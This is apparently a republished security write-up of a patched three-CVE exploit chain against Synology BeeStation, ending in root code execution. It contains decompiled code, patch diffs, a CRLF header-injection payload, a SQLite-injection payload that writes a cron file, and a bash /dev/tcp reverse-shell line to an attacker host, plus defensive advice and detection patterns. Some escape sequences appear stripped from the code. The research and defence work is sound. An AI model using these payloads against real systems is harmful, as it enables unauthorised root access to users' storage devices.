kiddo-pwn), personal blog (November 30, 2025). Underlying vulnerability research is credited to DEVCORE’s Pwn2Own Ireland 2024 entry; the SQLite-into-cron RCE primitive is Kiddo’s N-day contribution. Code blocks, hex dumps, log fragments and figures below are reproduced verbatim with attribution captions.
Executive Summary
This is the public N-day write-up of the Synology BeeStation pre-auth-to-root RCE that DEVCORE used at Pwn2Own Ireland 2024. The chain is three CVEs: CVE-2024-50629 (CRLF injection in DSM/BSM’s auth_redirect_uri_run, weaponised via X-Accel-Redirect to read a service log and recover the system username), CVE-2024-50630 (improper authentication in syncd — webapi requests arrive over a Unix Domain Socket and are therefore trusted, so omitting the password forces the AuthByDomainSocket path which validates only the username), and CVE-2024-50631 (post-auth SQL injection in the update_settings command of libsynosyncservercore.so, with the user-controlled sharing_link_customization field concatenated directly into a SQLite UPDATE). DEVCORE’s original chain landed code execution through a PHP gadget; Kiddo’s contribution is a different RCE strategy that works on BeeStation, where no PHP interpreter is installed.
The novelty is the cron primitive. SQLite’s ATTACH DATABASE <path> followed by CREATE TABLE and INSERT lets an injection write a file at an attacker-chosen path — but the file is binary SQLite, not plaintext. By wrapping the desired crontab line in n bytes inside the inserted text value, the inserted line sits on its own “line” in the resulting file. Cron is fault-tolerant: it reads /etc/cron.d/pwn.task line-by-line, discards every line that doesn’t parse as a crontab entry (including all the SQLite binary headers and metadata around the implant), and dutifully executes the one valid * * * * * root bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 line a minute later. The chain ends with a root reverse shell on a vanilla BeeStation. Total fix coverage requires DSM ≥ 7.2.2-72806-1, BSM ≥ 1.1-65374 and Synology Drive Server ≥ 3.5.1-26102.

syncd daemon: two communication channels, one Unix Domain Socket for the webapi and one TCP listener on port 6690 for the desktop / mobile clients. The auth-bypass bug lives in how syncd treats UDS callers. Source: original article.Introduction
The author was researching Synology NAS N-days in preparation for Pwn2Own Ireland 2025 and pulled DEVCORE’s Pwn2Own 2024 BeeStation chain for patch-diffing. The original DEVCORE entry uses CVE-2024-50629 as a pre-auth username leak, CVE-2024-50630 to skip the password check, and CVE-2024-50631 to write a webshell to a PHP-served path. BeeStation doesn’t ship PHP, so the third stage needed a different ending. The cron-based primitive in this write-up is the alternative the author found.


Advisory Summary
| CVE | ZDI advisory | Vendor advisory | Component | Fixed version | Details | Impact |
|---|---|---|---|---|---|---|
| CVE-2024-50629 | ZDI-25-211 | Synology-SA-24:20 DSM (PWN2OWN 2024) | OS (DSM / BSM) | DSM ≥ 7.2.2-72806-1, BSM ≥ 1.1-65374 | CRLF injection in HTTP requests | Pre-auth restricted file read |
| CVE-2024-50630 | ZDI-25-212 | Synology-SA-24:21 Synology Drive Server (PWN2OWN 2024) | Synology Drive Server | ≥ 3.5.1-26102 | Incorrect auth algorithm in syncd / webapi | Restricted auth bypass |
| CVE-2024-50631 | ZDI-25-213 | Synology-SA-24:21 Synology Drive Server (PWN2OWN 2024) | Synology Drive Server | ≥ 3.5.1-26102 | SQL injection in the update_settings command | Post-auth RCE |
Attack Surface
webapi
DSM and BSM expose a single HTTP endpoint, /webapi/entry.cgi, behind nginx. Internally nginx forwards every request to synoscgi over a Unix Domain Socket. synoscgi then dispatches into per-feature shared objects (.so) based on .lib JSON config files. Each route has an authLevel attribute — 0 is no auth, 1 is auth required, 2 is conditional. A typical lib looks like:
{
"SYNO.API.Auth": {
"appPriv": "",
"authLevel": 0,
"disableSocket": false,
"lib": "lib/SYNO.API.Auth.so",
"maxVersion": 7,
"methods": {
"1": [
{
"logout": {
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
}
]
syncd
syncd is the core Synology Drive Server daemon. It listens on two distinct channels: a Unix Domain Socket for the webapi (browser-facing) and a TCP socket on port 6690 for the desktop and mobile clients. Both channels speak the same length-prefixed binary protocol — here’s the start of an update_settings request the way it goes out on the wire:
00000000: 25 52 18 14 46 12 00 00 42 10 00 06 40 70 72 6F %R..F...B...@pro
00000010: 74 6F 42 10 00 0D 62 6F 64 79 2D 63 6F 6E 74 69 toB...body-conti
00000020: 6E 75 65 01 01 00 10 00 04 64 61 74 65 01 01 00 nue......date...
00000030: 10 00 04 74 79 70 65 10 00 06 68 65 61 64 65 72 ...type...header
00000040: 10 00 07 76 65 72 73 69 6F 6E 42 10 00 05 6D 61 ...versionB...ma
00000050: 6A 6F 72 01 01 07 10 00 05 6D 69 6E 6F 72 01 01 jor......minor..
00000060: 00 40 40 10 00 06 61 63 74 69 6F 6E 10 00 0F 75 .@@...action...u
00000070: 70 64 61 74 65 5F 73 65 74 74 69 6E 67 73 10 00 pdate_settings..
The protocol also supports per-channel encryption, but encryption can be disabled per-installation, which is what every public PoC against this chain does.
The Bugs
CVE-2024-50630 — Improper Authentication via UDS Trust
The webapi acts as a proxy in front of syncd: the browser hits an HTTPS endpoint at /webapi/entry.cgi?api=SYNO.SynologyDrive.Authentication&method=authenticate, the webapi unwraps the request, and re-emits it over the Unix Domain Socket to syncd. Syncd doesn’t see the browser; it sees a UDS peer. That UDS peer is local by definition, which is the inferential leap the auth check makes:
__int64 __fastcall AuthenticatorMiddleware::AuthSession(
AuthenticatorMiddleware *this,
const PObject *a2,
Request *a3,
Response *a4)
{
// ...
sub_21F3B0(&v33, "username");
v26 = PObject::hasMember(Header, &v33);
// ...
sub_21F3B0(&v36, "password");
v26 = PObject::hasMember(Header, &v36);
// ...
if ( v26 )
{
v6 |= AuthenticatorMiddleware::AuthByUserPassword(this, a2, a3, a4); // [!]
return v6;
}
LABEL_18:
sub_21F3B0(&v33, "auth-by-domainsocket");
v18 = (PObject *)PObject::operator[](a2, &v33);
if ( !(unsigned __int8)PObject::asBool(v18) )
goto LABEL_19;
sub_21F3B0(&v36, "username"); // [!]
v19 = PObject::hasMember(Header, &v36);
// ...
v22 = Request::IsFromLocal(a3); // [!]
v20 = v36;
v19 = v22;
// ...
if ( v19 )
{
v6 |= AuthenticatorMiddleware::AuthByDomainSocket(this, a2, a3, a4); // [!]
return v6;
}
If the attacker sends a SYNO.SynologyDrive.Authentication.authenticate request with the password member absent, the v26 check at the top fails and the code falls through to the “trust local UDS callers” branch. That branch calls AuthByDomainSocket, which never checks the password:
__int64 __fastcall AuthenticatorMiddleware::AuthByDomainSocket(
AuthenticatorMiddleware *this,
const PObject *a2,
Request *a3,
Response *a4)
{
// ...
Header = Request::GetHeader(a3);
UserInfo::UserInfo((UserInfo *)v14);
v12[0] = v13;
strcpy((char *)v13, "username"); // [!]
v12[1] = &byte_8;
v7 = PObject::operator[](Header, v12);
PObject::asString[abi:cxx11](v10, v7);
if ( v12[0] != v13 )
operator delete(v12[0], v13[0] + 1LL);
if ( (int)AuthenticatorMiddleware::PrepareNormalUser(this, v10, v14, a4) < 0 ) // [!]
{
v8 = 0;
}
else
{
Request::SetUser(a3, (UserInfo *)v14);
v8 = 1;
}
The webapi happily proxies the request, syncd happily mints an access_token for the supplied username, and the attacker is now authenticated as that user. The patch removes the authenticate method on SYNO.SynologyDrive.Authentication entirely — the password check is enforced upstream now.

AuthByUserPassword path. Source: original article.
password omitted, syncd falls through to AuthByDomainSocket, returns a token. Source: original article.
The catch: AuthByDomainSocket still needs a valid username. The auth bypass is therefore conditional — you have to know a real account name. That is what CVE-2024-50629 buys you.
CVE-2024-50629 — CRLF Injection in auth_redirect_uri_run
The DSM/BSM patch added a couple of lines to SYNO::auth_redirect_uri_run in SYNO.API.Auth.so: explicit rejection of r and n in the redirect_url parameter. The unpatched version passes user input straight to __printf_chk for the Location: header.

std::string::find rejection of r and n added before the printf_chk of the Location: header. Source: original article.unsigned __int64 __fastcall SYNO::auth_redirect_uri_run(SYNO *this, SYNO::APIRequest *a2, SYNO::APIResponse *a3) {
// ...
v29 = dest;
strcpy((char *)dest, "redirect_url"); // [!]
v30 = 12LL;
SYNO::APIRequest::GetParam(v19, this, &v29, v18);
Json::Value::asString[abi:cxx11](&v23, v19);
Json::Value::~Value((Json::Value *)v19);
if ( v29 != dest )
operator delete(v29, dest[0] + 1LL);
Json::Value::~Value((Json::Value *)v18);
v4 = std::string::find(&v23, "?", 0LL, 1LL);
// ...
if ( v29 != dest )
operator delete(v29, dest[0] + 1LL);
+ if ( std::string::find(&v23, "r", 0LL, 1LL) != -1 || std::string::find(&v23, "n", 0LL, 1LL) != -1 ) // [!]
+ {
+LABEL_18:
+ Json::Value::Value(v19, 0LL);
+ SYNO::APIResponse::SetError(a2, 120, (const Json::Value *)v19);
+ goto LABEL_19;
+ }
// ...
__printf_chk(2LL, "Status: 302 Foundrn");
__printf_chk(2LL, "Location: %srn", (const char *)v23); // [!]
__printf_chk(2LL, "rn");
}

redirect_url value is echoed straight into the response header. Source: original article.X-Accel-Redirect to Leak the Username
The way the leak is weaponised is via nginx’s X-Accel-Redirect response header. Synology’s nginx config has a location block that serves files under /volume1/… — but only as an internal location, which means it can’t be reached from outside nginx directly, only via an X-Accel-Redirect from a backend response:
server {
listen 80;
listen [::]:80;
...
location ~ ^/volume(?:X|USB|SATA|Gluster)?d+/ {
internal;
root /;
open_file_cache off;
include conf.d/x-accel.*.conf;
}
By injecting rnX-Accel-Redirect: /volume1/@synologydrive/log/cloud-workerd.log into the response, the attacker gets nginx to serve that internal-only log file. The log records each AddIndexJob task on service startup — including the user’s home directory path. That path leaks the username, which closes the loop on CVE-2024-50630.

X-Accel-Redirect coaxes nginx into serving the internal-only volume log file. Source: original article.root@BeeStation:/volume1/@synologydrive/log# cat cloud-workerd.log
2025-11-28T23:17:53 (22542:17152) [INFO] checkpoint-task.cpp.o(44): Checkpoint task is Up.
2025-11-28T23:17:53 (22542:89856) [INFO] job-queue-client.cpp.o(103): JobQueueClient Setup started.
2025-11-28T23:17:53 (22542:89856) [INFO] job-queue-client.cpp.o(132): JobQueueClient Setup done.
2025-11-28T23:17:53 (22542:89856) [INFO] cloud-workerd.cpp.o(323): MainLoop started.
2025-11-28T23:17:51 (22542:31264) [INFO] add-index-job.cpp.o(27): AddIndexJob job: '{"rule_group":"SYNO.SDS.Drive.Application:drive:displayname","rule_name":"Synology Drive (kiddo.pwn)","watch_path":"/homes/kiddo.pwn"}'. # [!]
CVE-2024-50631 — SQL Injection in update_settings
With a username and a session token in hand the attacker can hit any post-auth route. The relevant one is update_settings in libsynosyncservercore.so. The patch adds DBBackend::DBEngine::EscapeString calls around the two parameters that were previously concatenated unescaped into the UPDATE setting_table SET … statement:
__int64 __fastcall synodrive::db::syncfolder::ManagerImpl::UpdateApplicationSettings(
synodrive::db::syncfolder::ManagerImpl *this,
db::ConnectionHolder *a2,
const db::ApplicationSetting *a3) {
// ...
+ Op = db::ConnectionHolder::GetOp(this);
+ db::ApplicationSetting::GetSharingLinkCustomization[abi:cxx11](v113, a2);
+ DBBackend::DBEngine::EscapeString(v86, Op, v113); // [!]
+ if ( v113[0] != &v114 )
+ operator delete(v113[0], v114 + 1);
+ v6 = db::ConnectionHolder::GetOp(this);
+ db::ApplicationSetting::GetSharingLinkFullyCustomURL[abi:cxx11](v113, a2);
+ DBBackend::DBEngine::EscapeString(v88, v6, v113); // [!]
+ if ( v113[0] != &v114 )
+ operator delete(v113[0], v114 + 1);
The two vulnerable parameters are sharing_link_customization and sharing_link_fully_custom_url. Setting either to ";foo produces a SQLite parse error logged in syncfolder.log, which is the cleanest possible smoke-test for the bug:
2025-11-30T16:04:06 (14186:80224) [ERROR] sqlite_engine.cpp.o(155): sqlite3_exec error: near "foo": syntax error (1) sql = UPDATE setting_table SET sharing_level = 0,sharing_internal_level = 0,sharing_force_selected = 0,sharing_force_password = 0,sharing_force_expiration = 0,default_enable_full_content_indexing = 0,force_https_sharing_link = 0,enable_sharing_link_customization = 1,sharing_link_customization = "";foo",sharing_link_fully_custom_url = "",default_displayname = 0,enable_c2share_offload = 0,sharing_link_by_email = 0; DELETE FROM enable_sharing_table;
Exploitation — Reaching RCE Without PHP
SQL injection on SQLite + DSM gives DEVCORE a clean route to RCE via PHP: ATTACH DATABASE '/var/www/foo.php' AS x; CREATE TABLE x.t (c text); INSERT INTO x.t VALUES ('<?php system($_GET[0]); ?>'); and the resulting file, despite being binary SQLite, contains a <?php … ?> block that PHP’s parser will execute when the file is requested via the webapi. BeeStation does not have PHP:
# ps -ef |grep php
root 19839 19814 0 17:57 pts/0 00:00:00 grep --color=auto php

Strategy — Treat SQLite Injection as a Dirty File Write
The author falls back to a Check Point Research framing: SQLite’s ATTACH DATABASE + CREATE TABLE + INSERT is a generic file-write primitive, just one that always produces files starting with the SQLite header and littered with the engine’s row-encoding metadata. The two structural constraints are (a) the target file must not pre-exist (or must already be a SQLite database), and (b) the file will always have binary noise around whatever text payload the attacker injects.


<?php … ?>, which is what makes the DEVCORE-style ending work on DSM. The author needs a different forgiving consumer on BeeStation. Source: original article.Solution — Fault-Tolerant Crontab
The candidate that pops out is /etc/cron.d/. Cron parses every file under that directory line-by-line:
# ┌──────────── minute (0-59)
# │ ┌──────────── hour (0-23)
# │ │ ┌──────────── day of month (1-31)
# │ │ │ ┌──────────── month (1-12)
# │ │ │ │ ┌──────────── day of week (0-6)
* * * * * user command
Crucially, if a line doesn’t parse as a valid crontab entry, cron prints a warning to syslog and skips that line. It does not abort. As long as the file under /etc/cron.d/ contains one line that does parse, that line is scheduled. So all the SQLite binary header bytes, the CREATE TABLE markers, and the row-encoding noise around the inserted text don’t need to parse as anything — they just need not to land on the same line as the implant.
Technique in Action
The trick is to wrap the inserted text value in n so that it occupies its own clean line in the resulting binary:
payload = '";'
payload += "ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;"
payload += "CREATE TABLE cron.tab (dataz text);"
payload += f"INSERT INTO cron.tab (dataz) VALUES ('n* * * * * root bash -i >& /dev/tcp/{self.lhost}/{self.LPORT} 0>&1n');"
payload += "--"
The resulting /etc/cron.d/pwn.task file, viewed in a terminal, looks like a binary file with one clean cron line embedded inside it:
$ cat /etc/cron.d/pwn.task
ॣ@tableₜₐᵀₗₑCREATE TABLE tab (dataz text)
* * * * * root bash -i >& /dev/tcp/192.168.88.254/1337 0>&1

pwn.task file at the byte level. Red bytes are n — line separators. The blue stretch is the inserted text value, which sits cleanly between two newlines and parses as a valid crontab entry. Everything around it is SQLite metadata that cron skips. Source: original article.Cron reads it a minute later, ignores the binary noise, executes the bash reverse shell as root, and the chain is done:
$ ps -ef
...
root 16486 9626 0 12:59 ? 00:00:00 /usr/sbin/CROND -n
root 16487 16486 0 12:59 ? 00:00:00 /bin/sh -c bash -i >& /dev/tcp/192.168.88.254/1337 0>&1
root 16488 16487 0 12:59 ? 00:00:00 bash -i
Key Takeaways
- The chain is structural — a frontend (webapi) that proxies user input to a backend (syncd) over a transport that the backend treats as inherently trusted (UDS) is a recurring pattern that produces these auth bypasses.
- CRLF injection is not just a header-write primitive: combined with nginx’s
X-Accel-Redirect, it becomes a file-read primitive against internal-only locations. - SQL injection on SQLite is generally underrated. The
ATTACH DATABASE-as-file-write trick is reusable across any service that hands attacker-controlled strings to SQLite without escaping. - Sinks that consume binary-corrupted files but are line-tolerant (cron, logrotate, syslog-ng configs, certain init scripts) are valid alternatives to PHP when PHP isn’t available. Wrapping the payload in
nisolates it on its own line; the sink’s skip-bad-lines forgiveness does the rest. - BeeStation is a stripped-down Synology platform — no PHP — but it still ships cron, which is enough.
- This is the same shape Check Point Research used for SQLite-to-RCE in 2019, retargeted. The author’s contribution is the cron-as-forgiving-consumer angle and the working write-up.
- Patching the chain takes three independent fixes (DSM/BSM
auth_redirect_uri_run, Drive Serversyncdauth, and Drive Serverupdate_settingsSQL escape). No single patch breaks the chain — if any one is missing in a deployment, the attacker simply re-routes.
Defensive Recommendations
- Upgrade. DSM ≥
7.2.2-72806-1, BSM ≥1.1-65374, and Synology Drive Server ≥3.5.1-26102together close the chain. Audit by build, not by “most recent rollout”. - Block
X-Accel-Redirectreflection at the edge. If you front Synology DSM with your own reverse proxy, stripX-Accel-Redirectfrom upstream responses; it is essentially never needed end-to-end and stops this CRLF technique cold. - File-integrity monitor
/etc/cron.d/. Any new file appearing under/etc/cron.d/on a Synology box is high-fidelity. Combine with a content check that flags files whose first byte is0x53(the SQLiteSQLite format 3magic). - Alert on cron lines containing
bash -i+/dev/tcp/. The textbook reverse-shell substring as a cron entry is extremely rare in legitimate deployments and is exactly what this technique writes. - Restrict syncd’s UDS path. The trust-the-UDS-caller pattern is structural. If your deployment puts the webapi and syncd on the same host but in separate containers, ensure the webapi container cannot reach syncd’s UDS until the front-end auth check has run.
- Watch for
access_tokenissuance with no preceding password validation. The bypass leaves no special audit signature, but the time between “authenticate request” and “token issued” on the bypass path is significantly shorter than on the legitimate path. Telemetry pipelines that surface that delta catch the bypass attempt before the SQL injection lands. - Audit shipped SQLite consumers for unescaped string interpolation. The DSM/BSM patch only fixed two specific parameters; sister parameters in the same code base or in adjacent services are plausibly vulnerable to the same shape. Add
EscapeStringwrappers as a code-review default. - Sub-policy: deny BeeStation hosts outbound access to the wider internet. The reverse-shell ending is enabled by the BeeStation being able to TCP-connect to
{LHOST}:{LPORT}. Egress filtering off internal NAS hosts is a generic kill for this class of chain.
Conclusion
This write-up does two things at once. It rehydrates DEVCORE’s Pwn2Own chain in enough detail that the bugs are reproducible from the patch diffs — auth_redirect_uri_run’s CRLF, syncd’s blind UDS trust, update_settings’s unescaped UPDATE — and it contributes a clean SQLite-to-cron RCE primitive that works on platforms where PHP isn’t available. The cron trick generalises: any line-tolerant sink (cron, logrotate, init.d scripts) plus SQLite’s ATTACH/INSERT primitive is a serviceable file-write-to-RCE pair. The patches are out; what matters operationally is verifying you have all three. Credit and thanks to Kiddo for the write-up and the PoC repository, and to DEVCORE for the original Pwn2Own research that this is built on.
References
- Kiddo — Writing Sync, Popping Cron (November 30, 2025)
- PoC repository — kiddo-pwn/CVE-2024-50629_50631
- DEVCORE keynote — original Pwn2Own Ireland 2024 research
- ZDI-25-211 — CVE-2024-50629
- ZDI-25-212 — CVE-2024-50630
- ZDI-25-213 — CVE-2024-50631
- Synology-SA-24:20 DSM (PWN2OWN 2024)
- Synology-SA-24:21 Synology Drive Server (PWN2OWN 2024)
- Check Point Research — SELECT code_execution FROM USING SQLite (2019)
- Justin Taft — CVE-2021-29084 Synology CRLF (prior art)
- crontab(5) — man page
Original text: “Writing Sync, Popping Cron: DEVCORE’s Synology BeeStation RCE & A Novel SQLite Injection RCE Technique (CVE-2024-50629~50631)” by Kiddo (kiddo-pwn) at kiddo-pwn.github.io (November 30, 2025).

